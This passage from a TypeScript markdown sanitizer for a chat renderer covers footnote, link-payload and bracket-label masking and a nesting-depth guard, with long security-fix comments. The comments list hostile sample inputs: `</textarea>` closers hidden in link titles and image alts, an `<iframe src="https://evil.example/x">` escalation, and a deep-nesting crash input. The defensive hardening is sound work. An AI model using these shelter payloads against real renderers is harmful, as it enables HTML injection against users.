so one native scan\n  // buys the overwhelming majority of documents a total skip. This pass runs\n  // over EVERY line of the document; without the guard and the `indexOf` walk\n  // below it would be the most expensive one in the mask, for a construct\n  // almost nothing contains (measured: no regression at 989 KB on a corpus with\n  // no footnotes at all).\n  if (masked.indexOf('[^') === -1) return masked\n  // The MASK's text for a line, sliced on demand. `remapToMask` would allocate a\n  // second object per line of the whole document for a pass that usually touches\n  // one of them.\n  const text = (line: MaskLine): string =>\n    stripCr(masked.slice(line.contentStart, line.contentStart + line.content.length))\n  // …and the REFERENCE-ONLY copy, blanked further (see `footnoteReferenceMask`).\n  // Built ONLY past the `[^` guard, so a document without footnotes pays nothing.\n  // Length-preserving like every other mask, so an index means the same byte in\n  // both copies.\n  const refMask = footnoteReferenceMask(masked, folded)\n  const refText = (line: MaskLine): string =>\n    stripCr(refMask.slice(line.contentStart, line.contentStart + line.content.length))\n\n  // PASS 1 — the DEFINITION on each line (from the mask) and every `[^label]`\n  // that is a REFERENCE (from the ref-mask). A group is a DEFINITION only where\n  // the line-anchored opener shape puts it AND a `:` follows; every other\n  // `[^…]`, including a mid-line `see [^f]: here`, is a reference to remark.\n  // Occurrences are reached with `indexOf`, never a per-character walk: the pass\n  // runs over EVERY line of the document and a char walk would make it the most\n  // expensive one in the mask for a construct almost no line contains.\n  const referenced = new Set<string>()\n  const defAt: Array<number | null> = []\n  for (const line of lines) {\n    const c = text(line)\n    let isDef: number | null = null\n    if (c.indexOf('[^') !== -1) {\n      const open = FOOTNOTE_DEF_OPEN_RE.exec(c)\n      if (open !== null) {\n        // The opener is line-anchored past a whitespace/marker prefix, so its\n        // `[` can never carry a backslash escape — the prefix would not match.\n        const defOpen = open[0].length - 2\n        const end = footnoteLabelEnd(c, defOpen)\n        if (end !== -1 && c[end + 1] === ':') isDef = defOpen\n      }\n    }\n    defAt.push(isDef)\n    const rc = refText(line)\n    for (let q = rc.indexOf('[^'); q !== -1; q = rc.indexOf('[^', q)) {\n      // Escape-aware without the walk: an ODD run of backslashes before the `[`\n      // escapes it, an EVEN one is escaped backslashes and leaves `[` live.\n      let back = q\n      while (back > 0 && rc[back - 1] === '\\\\') back--\n      if ((q - back) % 2 === 1) {\n        q += 2\n        continue\n      }\n      const end = footnoteLabelEnd(rc, q)\n      if (end === -1) break\n      if (q !== isDef) referenced.add(normalizeFootnoteLabel(rc.slice(q + 2, end)))\n      q = end + 1\n    }\n  }\n\n  // PASS 2 — blank each definition whose label nothing references, body included.\n  // Slices the REAL mask, never the ref-mask.\n  const ranges: Array<[number, number]> = []\n  for (let i = 0; i < lines.length; i++) {\n    const at = defAt[i]\n    if (at === null) continue\n    const head = text(lines[i])\n    const end = footnoteLabelEnd(head, at)\n    if (referenced.has(normalizeFootnoteLabel(head.slice(at + 2, end)))) continue\n    let j = i\n    let sawBlank = false\n    for (let k = i + 1; k < lines.length; k++) {\n      const c = text(lines[k])\n      if (isBlankLine(c)) {\n        sawBlank = true\n        continue\n      }\n      // A second definition ends this one; over-blanking a REFERENCED\n      // neighbour's body would show it as escaped source (cosmetic, but avoidable).\n      if (defAt[k] !== null) break\n      // After a blank line only an INDENTED block continues the footnote; before\n      // one, any non-blank line is a lazy paragraph continuation.\n      if (sawBlank && footnoteIndentCols(c) < 4) break\n      j = k\n    }\n    for (let k = i; k <= j; k++) {\n      const line = lines[k]\n      ranges.push([line.contentStart, line.contentStart + line.content.length])\n    }\n  }\n  return blankRanges(masked, mergeRanges(ranges))\n}\n\n/**\n * The REFERENCE-COUNTING copy of the mask for `blankUnreferencedFootnotes`\n * (round 23 — SECURITY, that pass's own fail-open).\n *\n * A `[^f]` only makes a definition REFERENCED if remark resolves it as a\n * reference. Everything remark consumes into an ATTRIBUTE or drops outright is\n * a PHANTOM, and at this point in the pipeline none of those regions are masked\n * yet, so this copy applies the four passes that hide them:\n *\n *   `blankInlineLinkPayloads` — an inline link/image DESTINATION or TITLE\n *     (`[a](/x \"[^f]\")`, `[a](<[^f]>)`, `![a](/x '[^f]')`) becomes href/title.\n *   `blankBracketLabels`, WITHOUT its footnote-label ranges — an image ALT\n *     (`![[^f]](/i.png)`) and a full-reference LABEL (`[txt][[^f]]`) become an\n *     attribute or an identifier. The `[^…]` ranges MUST be excluded: that pass\n *     blanks a footnote label \"reference AND definition alike\", which here\n *     would erase EVERY real reference and over-blank every referenced\n *     definition into escaped source.\n *   HTML BLOCK ranges — inside a `<div>` … block the line `[^f]` is raw HTML\n *     content, not a reference. Reuses `computeHtmlBlockRanges`, the module's\n *     own CommonMark block model, so this copy cannot disagree with the carve.\n *   `blankComments` — `<!-- [^f] -->` is dropped entirely. LAST, as everywhere\n *     else, because it scans the masked copy. (The pipeline's own comment pass\n *     still runs last over the REAL mask; this is a separate string.)\n *\n * OVER-BLANKING HERE IS FREE: fewer references means more definitions look\n * unreferenced, which blanks MORE of the haystack — the fail-CLOSED direction.\n * That is why this copy may apply passes out of the pipeline's order and may\n * use a block model that only approximates remark's.\n */\nfunction footnoteReferenceMask(masked: string, folded: string): string {\n  let ref = blankInlineLinkPayloads(masked, folded)\n  ref = blankBracketLabels(ref, folded, { footnoteLabels: false })\n  ref = blankRanges(\n    ref,\n    mergeRanges(computeHtmlBlockRanges(folded).map(({ start, end }) => [start, end])),\n  )\n  ref = blankComments(ref, ref)\n  ref = ref.replace(AUTOLINK_LIKE_RE, (m) => ' '.repeat(m.length))\n  return blankTagAttributes(ref)\n}\n\n/** AUTOLINKS, both spellings, DELIBERATELY over-wide (this regex is only ever\n *  applied to the reference-counting copy, where over-blanking is free): a\n *  CommonMark `<scheme:…>` autolink and a GFM LITERAL autolink both become an\n *  `href`, so `<https://e.example/[^f]>` and `https://e.example/x[^f]y` are\n *  phantom references — each reproduced a live iframe. It stops at whitespace,\n *  so an ordinary `see https://e.example [^f]` keeps its REAL reference. Email\n *  autolinks are deliberately absent: a `[` voids the email shape, so `[^f]`\n *  inside one IS a real reference (verified — remark emits the footnote). */\nconst AUTOLINK_LIKE_RE = /<[a-z][a-z0-9+.-]{1,31}:[^\\s<>]*>|(?:https?:\\/\\/|www\\.)[^\\s<]*/gi\n\n/** Blank the ATTRIBUTE RUN of every tag-like span, length-preserving. Blanking\n *  the WHOLE tag would blank real `</tag>` closers too, so only the run between\n *  the tag name and the `>` is cleared. Shared by `buildCloserHaystack`'s final\n *  step and by `footnoteReferenceMask`, where an INLINE tag's attribute is one\n *  more region remark never resolves a `[^f]` in (`<span title=\"[^f]\">`\n *  reproduced a live iframe). */\nfunction blankTagAttributes(masked: string): string {\n  return masked.replace(\n    TAG_LIKE_REGEX,\n    (_m, slash: string, tag: string, rest: string, selfClose: string) =>\n      `<${slash}${tag}${' '.repeat(rest.length)}${selfClose}>`,\n  )\n}\n\n/** Leading indent of `c` in COLUMNS (tabs advance to the next multiple of 4)\n *  measured PAST the blockquote run, which is the column GFM measures a\n *  footnote's continuation blocks at. */\nfunction footnoteIndentCols(c: string): number {\n  FOOTNOTE_QUOTE_PREFIX_RE.lastIndex = 0\n  let q = FOOTNOTE_QUOTE_PREFIX_RE.exec(c)![0].length\n  let col = 0\n  for (; q < c.length && isSpaceTab(c[q]); q++) col = c[q] === '\\t' ? col + 4 - (col % 4) : col + 1\n  return col\n}\n\n/**\n * Blank the PARENTHESISED PAYLOAD of an INLINE link or image (round 19 —\n * SECURITY, a whole shelter class the table did not name).\n *\n * remark consumes an inline link's DESTINATION and TITLE exactly as it consumes\n * a reference definition's: both become href/title ATTRIBUTES on the emitted\n * node and never reach the document as HTML. So a `</textarea>` written in\n * either one is not a closer — but `blankLinkDefinitions` only covers the\n * DEFINITION spelling, and no pass covered the inline one. All eight spellings\n * reproduced live (`escapeUnknownHtmlTags` byte-identical, one live\n * `<textarea>` swallowing the prose above it):\n *\n *   [a](/x \"</textarea>\")   [a](/x '</textarea>')   [a](/x (</textarea>))\n *   ![a](/x \"</textarea>\")  [a](</textarea>)        > [a](/x \"</textarea>\")\n *   - [a](/x \"</textarea>\") See [a](/x \"</textarea>\") for more.\n *\n * …and the escalation: an `<iframe src=\"…\" width=\"600\">` opener plus a title\n * shelter yields a LIVE iframe retaining both attributes.\n *\n * ONLY THE PAYLOAD IS BLANKED HERE, never the `[…]` text of an INLINE LINK\n * (`[text](dest)`). That text is INLINE-PARSED and reaches the document as\n * HTML, so blanking it would over-escape a paired `<textarea>…</textarea>`\n * written inside a link label. The bracket text of every OTHER spelling — an\n * IMAGE's alt, a reference LABEL, a footnote LABEL — is consumed into an\n * attribute or an identifier instead, and is blanked by `blankBracketLabels`\n * below. Round 20 found that half uncovered.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankLinkDefinitions` and\n * `blankComments`: the scan is anchored on the `](` bigram with no column or\n * prefix anchoring, so a blockquote run or list marker is ordinary text ahead of\n * it and the single top-level call covers every container nesting.\n *\n * FAIL DIRECTION: blanks ONLY on a payload that parses through to its closing\n * `)`. A shape that does not parse is not a link to remark either, so its\n * `</textarea>` IS a real closer and must stay visible — declining to blank is\n * the correct answer there, not a gap. Conversely the parse is deliberately\n * LOOSER than CommonMark (it accepts payloads remark would reject, e.g. after a\n * `](`-shaped bigram in ordinary prose), and every such over-detection only\n * hides closers, i.e. escapes MORE openers.\n *\n * THE CAP IS A BLANKING BOUNDARY, NOT A REJECTION (round 20 — SECURITY).\n * `INLINE_LINK_PAYLOAD_MAX` bounds how far one `](` may blank, so a stray\n * bigram cannot blank an unbounded tail. It was originally spent as `return -1`\n * on every over-limit exit, which the caller reads as \"not a link, leave\n * visible\" — so `[a](/x \"<1100 chars></textarea>\")` sheltered its closer in\n * full view of the mask (`escapeUnknownHtmlTags` byte-identical, one live\n * RAWTEXT element; the `<iframe src=… width=…>` spelling kept both attributes).\n * CommonMark places NO length bound on a destination or a title, so that is\n * ordinary output, and this is the SAME fail-open shape `ba4a526b` closed for\n * over-cap inline code spans, reintroduced in newer code.\n *\n * A CAP-driven exit therefore returns `limit` — \"blank through the cap\" — while\n * a SHAPE-driven exit still returns -1. The two are distinguished by testing\n * `q >= limit` BEFORE the shape test at every exit; over-blanking a bounded\n * window is the fail-CLOSED direction, declining on a genuinely unparseable\n * shape is the deliberate one.\n *\n * AND THE CAP-DRIVEN EXIT MUST BLANK PAST THE CAP, not to it. Blanking exactly\n * `[from, limit)` still leaves the shelter live whenever the sheltered closer\n * sits BEYOND the cap — which is the ordinary case, since the filler is what\n * pushed the payload over it (measured: `[a](/x \"<1100 y's></textarea>\")` was\n * STILL a byte-identical no-op with a to-the-cap blank). So the caller widens a\n * capped payload to the end of its PARAGRAPH — CommonMark's own bound, since\n * neither a destination nor a title may contain a blank line. The cap therefore\n * only decides WHEN to stop parsing, never how little to blank, and a stray\n * `](` still cannot blank an unbounded tail: it fails on SHAPE and blanks\n * nothing.\n *\n * \"FAILS ON SHAPE\" HAS TO INCLUDE RUNNING OUT OF INPUT (round 22). It did not:\n * `limit` is `min(s.length, from + MAX)`, so a payload that simply reached the\n * END OF THE DOCUMENT hit the same `q >= limit` tests as a capped one and\n * returned `limit`, which the caller widened to `paragraphEnd`. `see [a](/x` at\n * end of input therefore blanked its paragraph tail (`see [a](  `) even though\n * nothing there is a link. Safe direction, but that is the COMMON shape while\n * STREAMING — the last token of a partial message is often a half-written link\n * — so an earlier opener was escaped mid-stream and unescaped when the link\n * completed, a visible flicker. The two are now distinguished by `overflow`:\n * `limit` only when input remains PAST the cap, -1 when the input is exhausted.\n * The cap path still blanks THROUGH (round 20's fix is untouched).\n */\nconst INLINE_LINK_PAYLOAD_MAX = 1024\n\nconst isInlineSpace = (ch: string): boolean =>\n  ch === ' ' || ch === '\\t' || ch === '\\n' || ch === '\\r' || ch === '\\f' || ch === '\\v'\n\n/** Index of the payload's closing `)`, or the cap index when the payload runs\n *  past `INLINE_LINK_PAYLOAD_MAX` (blank through the cap), or -1 when the shape\n *  does not parse. `from` is the index just past the `](`. */\nfunction parseInlineLinkPayload(s: string, from: number): number {\n  const limit = Math.min(s.length, from + INLINE_LINK_PAYLOAD_MAX)\n  // What a `q >= limit` exit MEANS, which is not one thing (round 22):\n  //  - the CAP truncated a payload that still has input after it → `limit`,\n  //    \"blank through the cap\" (round 20; the caller widens to `paragraphEnd`);\n  //  - the INPUT RAN OUT → -1, a SHAPE decline. Nothing closed the payload and\n  //    nothing ever will in this document, so it is not a link to remark\n  //    either. This is the ordinary STREAMING tail (`see [a](/x` as the last\n  //    token), where returning `limit` widened the blank to the paragraph end\n  //    and escaped an earlier opener that unescaped again once the link\n  //    completed — a visible flicker.\n  const overflow = limit < s.length ? limit : -1\n  let q = from\n  while (q < limit && isInlineSpace(s[q])) q++\n  // DESTINATION — angle-bracketed, or a bare run with BALANCED parens.\n  if (s[q] === '<') {\n    q++\n    while (q < limit && s[q] !== '>' && s[q] !== '\\n') q += s[q] === '\\\\' ? 2 : 1\n    if (q >= limit) return overflow\n    if (s[q] !== '>') return -1\n    q++\n  } else {\n    let depth = 0\n    while (q < limit) {\n      const ch = s[q]\n      if (ch === '\\\\') {\n        q += 2\n        continue\n      }\n      if (isInlineSpace(ch)) break\n      if (ch === '(') depth++\n      else if (ch === ')') {\n        if (depth === 0) break\n        depth--\n      }\n      q++\n    }\n    if (q >= limit) return overflow\n    if (depth !== 0) return -1\n  }\n  // TITLE — `\"…\"`, `'…'` or `(…)`, separated from the destination by space.\n  const beforeGap = q\n  while (q < limit && isInlineSpace(s[q])) q++\n  const open = s[q]\n  if (q > beforeGap && (open === '\"' || open === \"'\" || open === '(')) {\n    const close = open === '(' ? ')' : open\n    let depth = 1\n    q++\n    while (q < limit) {\n      const ch = s[q]\n      if (ch === '\\\\') {\n        q += 2\n        continue\n      }\n      if (open === '(' && ch === '(') depth++\n      else if (ch === close && --depth === 0) break\n      q++\n    }\n    if (q >= limit) return overflow\n    if (s[q] !== close) return -1\n    q++\n    while (q < limit && isInlineSpace(s[q])) q++\n  }\n  if (q >= limit) return overflow\n  return s[q] === ')' ? q : -1\n}\n\n/** Start index of the first BLANK line at or after `from`, i.e. the end of the\n *  paragraph `from` sits in — the widest span an inline construct may cover. */\nfunction paragraphEnd(s: string, from: number): number {\n  let lineStart = s.indexOf('\\n', from)\n  while (lineStart !== -1) {\n    lineStart += 1\n    const next = s.indexOf('\\n', lineStart)\n    const line = s.slice(lineStart, next === -1 ? s.length : next)\n    if (isBlankLine(line)) return lineStart\n    if (next === -1) break\n    lineStart = next\n  }\n  return s.length\n}\n\nfunction blankInlineLinkPayloads(masked: string, source: string): string {\n  const ranges: Array<[number, number]> = []\n  let i = source.indexOf('](')\n  while (i !== -1) {\n    const from = i + 2\n    const cap = Math.min(source.length, from + INLINE_LINK_PAYLOAD_MAX)\n    const close = parseInlineLinkPayload(source, from)\n    if (close < 0) {\n      i = source.indexOf('](', i + 1)\n      continue\n    }\n    // A CAPPED payload (`close === cap`) has an unknown end, so blank to the end\n    // of the paragraph — see the docblock. A parsed one blanks exactly.\n    const end = close >= cap ? paragraphEnd(source, from) : close\n    if (end > from) ranges.push([from, end])\n    // Ascending and non-overlapping: resume past the range just blanked.\n    i = source.indexOf('](', Math.max(end, from))\n  }\n  return blankRanges(masked, ranges)\n}\n\n/** Sort + merge so overlapping/nested finds satisfy `blankRanges`' contract\n *  (non-overlapping, ascending). Empty ranges are dropped. */\nfunction mergeRanges(ranges: Array<[number, number]>): Array<[number, number]> {\n  ranges.sort((a, b) => a[0] - b[0])\n  const out: Array<[number, number]> = []\n  for (const [from, to] of ranges) {\n    if (to <= from) continue\n    const last = out[out.length - 1]\n    if (last && from <= last[1]) {\n      if (to > last[1]) last[1] = to\n    } else out.push([from, to])\n  }\n  return out\n}\n\n/**\n * Blank the BRACKET TEXT of every spelling remark consumes into an ATTRIBUTE or\n * an IDENTIFIER (round 20 — SECURITY, the other half of the shelter class\n * `blankInlineLinkPayloads` opened).\n *\n * Round 19 wrote the general rule — \"every region CommonMark turns into an\n * ATTRIBUTE rather than document text is a shelter of the same kind\" — and then\n * implemented only the `(…)` payload half of it, on a rationale (\"never the\n * `[…]` link TEXT, which is inline-parsed and may hold real HTML\") that is true\n * of an INLINE LINK and false of every other bracket spelling. All seven\n * reproduced live, in BOTH renderers, with `escapeUnknownHtmlTags` returning the\n * input BYTE-IDENTICAL and a live RAWTEXT element swallowing the prose:\n *\n *   ![</textarea>](/x)        → alt=\"</textarea>\"   (string attribute)\n *   ![</textarea>][r]         → alt=\"…\"             (reference image)\n *   [a][</textarea>]          → label → identifier, never rendered\n *   [</textarea>][]           → collapsed reference, identifier again\n *   See[^</textarea>]         → href=\"#user-content-fn-%3C/textarea%3E\"\n *   > ![</textarea>](/x)  ·  - ![</textarea>](/x)   (container-nested)\n *\n * …plus the escalation: `<iframe src=\"https://evil.example/x\" width=\"600\">` in\n * prose above `![</iframe>](/x)` yielded a LIVE iframe retaining `src`, `width`\n * and `height`.\n *\n * WHAT IS CLAIMED, AND WHAT IS DELIBERATELY NOT:\n *\n *   - a `[…]` whose `[` is immediately preceded by `!` — an image's alt is a\n *     STRING attribute in every image spelling (inline, reference, collapsed,\n *     shortcut), so the bracket text never reaches the document as HTML;\n *   - the SECOND `[…]` of a `][` adjacency — a FULL reference's label, which\n *     remark resolves to a definition and never renders;\n *   - the FIRST `[…]` of a `][]` adjacency — a COLLAPSED reference, whose\n *     bracket text IS the identifier. (remark also inline-parses it for display,\n *     so unlike an alt this one is not purely an attribute; blanking it is the\n *     fail-CLOSED direction and the reviewer-confirmed shelter, not a claim that\n *     the text is unrendered.)\n *   - a footnote LABEL, `[^…]`, in BOTH the reference and the definition —\n *     remark percent-encodes it into `href`/`id`. Only the LABEL: round 19 was\n *     right that a footnote definition's BODY is BLOCK-parsed and may hold real\n *     HTML, which is why `blankLinkDefinitions` refuses the whole line.\n *   - NOT the `[…]` of an inline `[text](…)` link, and NOT a bare SHORTCUT\n *     reference `[label]`: in both, remark emits the bracket text as inline\n *     HTML, so a `</textarea>` there IS a real closer and must stay visible.\n *     (Verified: with a live opener above it, that closer pairs.)\n *\n * The reference spellings are NOT reachable from the `](`-anchored scan in\n * `blankInlineLinkPayloads` — there is no `](` in `![x][r]` or `[a][r]` at all —\n * so this pass carries its own anchors.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankInlineLinkPayloads`,\n * `blankLinkDefinitions` and `blankComments`: a single left-to-right bracket\n * walk with no column or prefix anchoring, so a blockquote run or list marker is\n * ordinary text ahead of it and ONE top-level call covers every nesting.\n *\n * FAIL DIRECTION: brackets that do not resolve to a link/image at all (ordinary\n * prose `see [1][2]`) are still blanked. Every such over-detection only hides\n * closers, i.e. escapes MORE openers. A backslash escape is consumed as a pair,\n * so `\\[` does not open a group; `\\!` still leaves the following `[` looking\n * image-like, which over-blanks in the same safe direction.\n */\nfunction blankBracketLabels(\n  masked: string,\n  source: string,\n  { footnoteLabels = true }: { footnoteLabels?: boolean } = {},\n): string {\n  if (source.indexOf('[') === -1) return masked\n  const ranges: Array<[number, number]> = []\n  /** Open `[` positions, innermost last. */\n  const open: number[] = []\n  /**\n   * The most recently CLOSED group AT EACH NESTING DEPTH, for the `][` / `][]`\n   * adjacencies. Round 23: this used to be a SINGLE `prev`, which any NESTED\n   * group clobbered — so in `[txt][[^f]]` the outer second group (a full\n   * reference's LABEL) was compared against the INNER `[^f]` instead of against\n   * `[txt]`, the adjacency failed and the label was never blanked. That spelling\n   * was a live fail-open through `blankUnreferencedFootnotes`' phantom count.\n   * Depth-keyed, siblings are compared with siblings.\n   */\n  const prevByDepth: Array<{ open: number; close: number } | null> = []\n  for (let i = 0; i < source.length; i++) {\n    const ch = source[i]\n    if (ch === '\\\\') {\n      i++\n      continue\n    }\n    if (ch === '[') {\n      open.push(i)\n      // Whatever closed at this depth before belongs OUTSIDE the group just\n      // opened, so it cannot be adjacent to anything inside it.\n      prevByDepth[open.length] = null\n      continue\n    }\n    if (ch !== ']') continue\n    const from = open.pop()\n    if (from === undefined) {\n      prevByDepth[0] = null\n      continue\n    }\n    const prev = prevByDepth[open.length] ?? null\n    // IMAGE alt — `![…]`, every image spelling.\n    if (from > 0 && source[from - 1] === '!') ranges.push([from + 1, i])\n    // FOOTNOTE label — `[^…]`, reference and definition alike. Suppressed for\n    // the reference-counting copy only (`footnoteReferenceMask`), where blanking\n    // the labels would erase the very references being counted.\n    if (footnoteLabels && source[from + 1] === '^') ranges.push([from + 2, i])\n    // REFERENCE label — the second group of `[…][…]`, or, when that group is\n    // EMPTY (`[…][]`), the first group, which is then the identifier.\n    if (prev !== null && prev.close === from - 1) {\n      if (i === from + 1) ranges.push([prev.open + 1, prev.close])\n      else ranges.push([from + 1, i])\n    }\n    prevByDepth[open.length] = { open: from, close: i }\n  }\n  return blankRanges(masked, mergeRanges(ranges))\n}\n\n/** `> ` / `>` container prefixes, including nested ones (`> > `). */\nconst BLOCKQUOTE_PREFIX_RE = /^(?: {0,3}>[ \\t]?)+/\n\n/**\n * EXACT NO-OP GUARDS for the container cross-calls (round 19 — performance).\n *\n * `blankQuotedCode` and `blankListItemCode` each call the other and\n * `blankListItemCode` now calls itself, and each of those calls walks the run\n * and folds the WHOLE document through `blankRanges` per flush. Widening the\n * list gate to `top >= 1` made every ordinary `- ` item open a run, so a\n * list-dense document paid that constant on every line (measured 3.1x at\n * 989 KB before these guards).\n *\n * Both guards are EXACT, not heuristic: `blankQuotedCode` only ever opens a run\n * on a line `BLOCKQUOTE_PREFIX_RE` matches and `blankListItemCode` only ever\n * pushes a column for a line `LIST_MARKER_RE` matches, so a run containing no\n * such line produces no runs at all and returns `masked` byte-identical. Skipping\n * a provable identity cannot change coverage — do NOT weaken either predicate\n * into an approximation of \"probably nothing here\"; that is how the eight\n * fail-open instances above were born.\n */\nconst hasListMarker = (line: MaskLine): boolean => LIST_MARKER_RE.test(line.content)\nconst hasQuotePrefix = (line: MaskLine): boolean => BLOCKQUOTE_PREFIX_RE.test(line.content)\n\n/**\n * WINDOWED RUNS (round 19 — performance, and the same lesson as `blankRanges`\n * one level up).\n *\n * `blankRanges` is O(document): it rebuilds the whole string. The container\n * passes used to hand it the WHOLE document once per nested pass PER RUN, so a\n * document that is one long sequence of list/quote runs paid O(runs × document)\n * — a second quadratic, sitting directly above the one round 18 removed.\n * Widening the list gate to `top >= 1` tripled the run count and made it\n * visible: a 989 KB all-fenced-in-list-items document went 320 ms → 1006 ms.\n *\n * Runs are DISJOINT and ASCENDING, and every range any nested pass produces\n * lies inside its own run's span (fence ranges start at `line.start`, every\n * other pass at `line.contentStart`). So a run can be masked in ISOLATION, on a\n * window sliced out of the caller's baseline with all offsets rebased, and the\n * windows spliced back in ONE fold at the end. Same output, one document\n * rebuild per pass instead of one per run.\n *\n * Do not reintroduce a per-run fold; a container pass that reassigns the whole\n * `masked` inside its `flush` is the regression.\n */\nfunction rebaseRun(run: MaskLine[], from: number): MaskLine[] {\n  return run.map((line) => ({\n    start: line.start - from,\n    contentStart: line.contentStart - from,\n    content: line.content,\n  }))\n}\n\nfunction spliceWindows(masked: string, edits: Array<[number, number, string]>): string {\n  if (edits.length === 0) return masked\n  const parts: string[] = []\n  let cursor = 0\n  for (const [from, to, text] of edits) {\n    if (from > cursor) parts.push(masked.slice(cursor, from))\n    parts.push(text)\n    cursor = to\n  }\n  parts.push(masked.slice(cursor))\n  return parts.join('')\n}\n\n/** The window a run occupies: from the first line's START (fence ranges are\n *  anchored there, before any container prefix) to the last line's END. */\nfunction runWindow(run: MaskLine[]): [number, number] {\n  const last = run[run.length - 1]\n  return [run[0].start, last.contentStart + last.content.length]\n}\n\n/**\n * CONTAINER NESTING DEPTH GUARD — and it FAILS CLOSED (round 19).\n *\n * The round-17 termination note claimed the mutual recursion was \"verified\n * empirically on `> -   ` alternation nested 1/2/5/20/100/500/2000/8000 levels\n * deep … no throw, ≤4 ms, and the observed recursion depth CAPPED AT 4\". THAT\n * CLAIM IS FALSE and was false when written: HEAD throws `RangeError: Maximum\n * call stack size exceeded` on that exact input from depth ~2000 up. The\n * recursion terminates (the measure argument is sound) but its DEPTH is bounded\n * only by input length, and V8's stack is not. A `RangeError` out of the\n * sanitizer is a rendering crash, i.e. a denial of service on a 24 KB message.\n *\n * Round 19's list self-recursion widened the trigger (a single line of `- `\n * markers overflows from depth ~4000, where HEAD survived because\n * `LIST_MARKER_RE` matches only the first marker), so the guard lands here.\n *\n * THE GUARD IS NOT A COVERAGE HOLE. At the limit the run is not skipped — it is\n * BLANKED WHOLE, which is the strictly more aggressive answer and exactly the\n * fail direction this module rounds towards everywhere else. A markdown document\n * nested 64 containers deep is a code sample rendered as escaped text, not a\n * shelter. Do NOT convert this into a `return` / `continue`: skipping is the\n * fail-OPEN direction and would be a new instance of the class.\n */\nconst CONTAINER_NEST_LIMIT = 64\n\n/**\n * Blank code regions inside BLOCKQUOTES.\n *\n * `FENCE_RE` matches at column 0..3, so a fence inside a quote (```` > ```html ````)\n * is invisible to the top-level tracker — and a blockquoted code sample is an\n * utterly ordinary chat answer (\"here's the markup:\" followed by a quoted\n * fence). The closer inside it satisfied `hasLaterCloser` and the prose opener\n * above stayed live.\n *\n * CHOSEN APPROACH: strip the quote prefix off each run of quoted lines and run\n * a NESTED tracker (plus the indented-code rule) over the stripped content,\n * blanking only the code regions found. The blunter alternative — blank every\n * `^ {0,3}>` line — is also sound (it only over-blanks) but it would escape a\n * legitimately PAIRED `<textarea>…</textarea>` written inside a blockquote,\n * turning quoted HTML into visible `&lt;…&gt;` source. The nested scan costs\n * one extra line walk and keeps that shape rendering.\n *\n * ---------------------------------------------------------------------------\n * MUTUAL RECURSION — TERMINATION (round 17)\n * ---------------------------------------------------------------------------\n * `blankQuotedCode` and `blankListItemCode` now call EACH OTHER (the missing\n * quote→list direction was the seventh instance of the fail-open class). The\n * recursion terminates on the measure `M(run) = Σ line.content.length`:\n *\n *  - `blankQuotedCode` only puts a line in a run when `BLOCKQUOTE_PREFIX_RE`\n *    matches, and that pattern is `(?: {0,3}>[ \\t]?)+` — at least one `>`, so\n *    the stripped content is at least 1 char SHORTER. Blank lines never match\n *    (they carry no `>`), so EVERY line in a quoted run strictly shortens.\n *  - `blankListItemCode` only puts a line in a run when the content column\n *    `top >= 1` (round 19 — was `>= 4`), and `charIndexAtColumn(content, top)`\n *    with `top >= 1` returns an index `>= 1` (it can only return 0 when the\n *    requested column is 0), so that line strictly shortens too. ROUND-19\n *    RE-VERIFICATION: the same bound covers the new SELF-recursion — the run it\n *    hands itself is cut at the same `top >= 1`, so `M` strictly decreases\n *    across that call exactly as across the `blankQuotedCode` one. ROUND-18\n *    RE-VERIFICATION: this also\n *    covers the MARKER LINE, whose cut lands at `marker[0].length` (or\n *    `markerEnd + 1` under the clamp) — both `>= 2` for every marker spelling,\n *    so the bound `cut >= 1` is unchanged and the measure still strictly\n *    decreases. The reorder moved WHICH lines join a run, not the shortening\n *    property that makes the recursion finite. It also carries blank separators into an\n *    ALREADY-OPEN run as `content: ''` (length 0 ≤ original), and a run is only\n *    ever opened by a non-blank, strictly-shortened line.\n *\n * So each nested call is handed a run whose measure is strictly smaller than\n * the caller's, `M` is a non-negative integer, and the chain is finite.\n *\n * ---------------------------------------------------------------------------\n * FINITE IS NOT THE SAME AS SHALLOW (round 19 — the third false claim)\n * ---------------------------------------------------------------------------\n * Round 17 concluded here: \"It is bounded by input length, so no depth guard is\n * added — there is no non-shortening case to guard against, and a speculative\n * bound would be a second, untested policy. Verified empirically on `> -   `\n * alternation nested 1/2/5/20/100/500/2000/8000 levels deep (240 KB source):\n * length invariant held, no throw, ≤4 ms, and the observed recursion depth\n * CAPPED AT 4 regardless of nesting.\"\n *\n * THE EMPIRICAL PART OF THAT IS FALSE, and was false when written. Re-run on the\n * described input, HEAD raises `RangeError: Maximum call stack size exceeded`\n * from depth ~2000 up — a 24 KB message crashes the renderer. The depth cap of 4\n * held only for the shapes round 17 happened to try; `BLOCKQUOTE_PREFIX_RE`\n * consumes a `> > >` nest in one match, but an ALTERNATING `> -   > -   …` line\n * gives each pass exactly one level to strip and the chain is as deep as the\n * line is long. Round 19's list self-recursion widened it further (a plain `- `\n * run overflows from ~4000, where HEAD survived only because `LIST_MARKER_RE`\n * matches the first marker alone).\n *\n * Termination was never the property at risk — STACK DEPTH was, and \"bounded by\n * input length\" is precisely the bound that does not help. `CONTAINER_NEST_LIMIT`\n * now caps it, blanking an over-deep run WHOLE rather than recursing, which is\n * fail-CLOSED and therefore not a coverage hole. Pinned by\n * `masks arbitrarily deep container nesting without throwing` at depths up to\n * 40000 (469 KB, 11 ms, closer masked at every depth).\n */\nfunction blankQuotedCode(masked: string, lines: MaskLine[], depth = 0): string {\n  let run: MaskLine[] = []\n  // One edit per run, spliced in a SINGLE fold at the end — see `spliceWindows`.\n  const edits: Array<[number, number, string]> = []\n  const flush = () => {\n    if (run.length === 0) return\n    const [from, to] = runWindow(run)\n    const wl = rebaseRun(run, from)\n    let win = masked.slice(from, to)\n    // Depth limit: blank the run WHOLE rather than recurse — see\n    // `CONTAINER_NEST_LIMIT`. Fail-closed, never a skip.\n    if (depth >= CONTAINER_NEST_LIMIT) {\n      edits.push([from, to, blankRanges(win, [[0, win.length]])])\n      run = []\n      return\n    }\n    // The nested FENCE scan needs the unmasked `run` content (the inline-code\n    // pass would have blinded it), but the nested INDENTED scan needs the CURRENT\n    // mask — see `blankIndentedCode`'s SCAN-SOURCE INVERSION.\n    const afterFences = blankFencedRegions(win, wl)\n    win = blankIndentedCode(afterFences, remapToMask(afterFences, wl))\n    win = blankLinkDefinitions(win, wl)\n    // …and the LIST-container pass, mirroring the call `blankListItemCode`\n    // already makes in the other direction. Without it a fenced sample inside a\n    // LIST ITEM inside a QUOTE was seen by NO 